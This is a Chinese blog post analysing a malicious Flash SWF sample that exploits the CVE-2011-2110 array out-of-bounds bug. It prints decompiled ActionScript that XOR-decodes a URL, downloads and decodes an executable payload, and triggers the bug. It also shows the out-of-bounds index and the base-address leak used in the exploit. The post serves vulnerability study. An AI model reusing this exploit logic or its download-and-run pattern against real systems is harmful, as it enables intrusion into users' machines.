数组越界漏洞(参考<<漏洞战争>>)

1.简介

通过访问,写入到超出最大索引的地方导致被利用

 

2.CVE-2011-2110-Adobe Flash Player 数组越界索引漏洞

(1).将swf文件反编译后提取出来分析

(2)分析源文件

main函数中:

var param:Object = root.loaderInfo.parameters;
//获取并解析参数
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
t_url[i] = t_url[i] ^ 122;
i++;
}
t_url.uncompress();

......

//下载文件
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));

.......

 

onLoadComplete = function(param1:Event):void
{
content = loader.data;
i = 0;
//解析获取到的数据,完了后是个恶意程序
while(i < content.length)
{
content[i] = content[i] ^ 122;
i++;
}
content.uncompress();
content_len = content.length;
var _loc2_:ByteArray = new ByteArray();
code = _loc2_;
_loc2_.position = 1024 * 1024;
_loc2_.writeInt(2053274210);
_loc2_.writeInt(2053339747);
_loc2_.writeInt(2053405283);
_loc2_.writeObject(_loc2_);
//触发漏洞
test();
trace(_loc2_.length);
};

 

以上通过获取参数info, 解码后其实就是一个url. 然后通过该url下载一个文件,将文件中的内容解码后是个pe文件. 可以通过自己搭建环境测试

 

 

 (3)通过修改样本代码定位漏洞

对于浏览器漏洞,可以通过修改样本代码使其本来是稳定利用变的不稳定,以便分析

对于swf文件,可以反编译后修改关键值使ie加载后能发生异常并重新编译成swf文件, 以便分析

例如,本次实验的代码:

var _loc8_:uint = 0;
var _loc2_:Number = new Number(parseFloat(String(rest[1073741838]))); //1073741838=0x4000000E,进行越界索引, 将其修改为其他值直到能发生异常,书上修改的是0x41414141
var _loc3_:ByteArray = new ByteArray();
_loc3_.position = 0;
_loc3_.writeDouble(_loc2_);
var _loc4_:uint = _loc3_[0] * 16777216 + _loc3_[1] * 65536 + _loc3_[2] * 256 + _loc3_[3];//信息泄露构成基址地址
this.baseaddr = _loc4_;
this.code.position = 0;

这样再附加后就能很方便地分析了.

 

 

CVE-2014-0160-OpenSSL TLS 数组越界访问漏洞(“心脏出血”漏洞)

 

未完待续...............

转载于:https://www.cnblogs.com/freesec/p/6444537.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值